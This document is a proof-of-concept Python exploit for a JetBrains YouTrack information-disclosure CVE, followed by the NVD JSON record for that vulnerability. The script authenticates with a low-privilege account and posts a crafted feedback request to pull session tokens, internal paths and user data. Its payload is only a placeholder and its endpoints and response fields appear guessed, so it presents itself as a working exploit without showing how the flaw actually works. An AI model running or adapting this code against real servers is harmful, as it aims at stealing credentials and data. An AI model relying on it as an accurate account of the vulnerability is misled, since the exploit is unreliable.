CVE-2025-64684

# CVE-2025-64684 PoC - JetBrains YouTrack Information Disclosure # Affected: JetBrains YouTrack < 2025.3.104432 # Vulnerability: Information disclosure via feedback form import requests import json TARGET_URL = "https://youtrack-instance.com" LOGIN_URL = f"{TARGET_URL}/api/user/login" FEEDBACK_URL = f"{TARGET_URL}/api/feedback/submit" def exploit_cve_2025_64684(): """ Exploit for CVE-2025-64684: Information disclosure via feedback form """ session = requests.Session() # Step 1: Authenticate with low-privilege account auth_data = { "login": "low_priv_user", "password": "password123" } try: # Login request login_response = session.post(LOGIN_URL, json=auth_data, verify=False) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Submit malicious feedback to trigger information disclosure # The vulnerability allows disclosure of sensitive information through # specially crafted feedback content feedback_data = { "subject": "Test Feedback", "description": "{{INJECT_PAYLOAD_FOR_INFO_DISCLOSURE}}", "type": "feedback", "includeSystemInfo": True } # Send crafted feedback request feedback_response = session.post(FEEDBACK_URL, json=feedback_data, verify=False) # Step 3: Extract leaked information from response if feedback_response.status_code == 200: response_data = feedback_response.json() # Check for leaked sensitive information leaked_info = { "session_tokens": response_data.get("sessionInfo", []), "internal_paths": response_data.get("filePaths", []), "user_data": response_data.get("userInfo", {}) } print(f"[+] Information disclosure successful!") print(f"[+] Leaked data: {json.dumps(leaked_info, indent=2)}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False return False if __name__ == "__main__": print("CVE-2025-64684 - JetBrains YouTrack Information Disclosure") print("=" * 60) exploit_cve_2025_64684()

{"cve": {"id": "CVE-2025-64684", "sourceIdentifier": "[email protected]", "published": "2025-11-10T14:15:43.913", "lastModified": "2025-11-21T16:04:15.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In JetBrains YouTrack before 2025.3.104432 information disclosure was possible via the feedback form"}, {"lang": "es", "value": "En JetBrains YouTrack antes de 2025.3.104432, la revelación de información era posible a través del formulario de comentarios."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jetbrains:youtrack:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.3.104432", "matchCriteriaId": "F181D469-08FC-4F78-BE17-4EAF661A8EA0"}]}]}], "references": [{"url": "https://www.jetbrains.com/privacy-security/issues-fixed/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}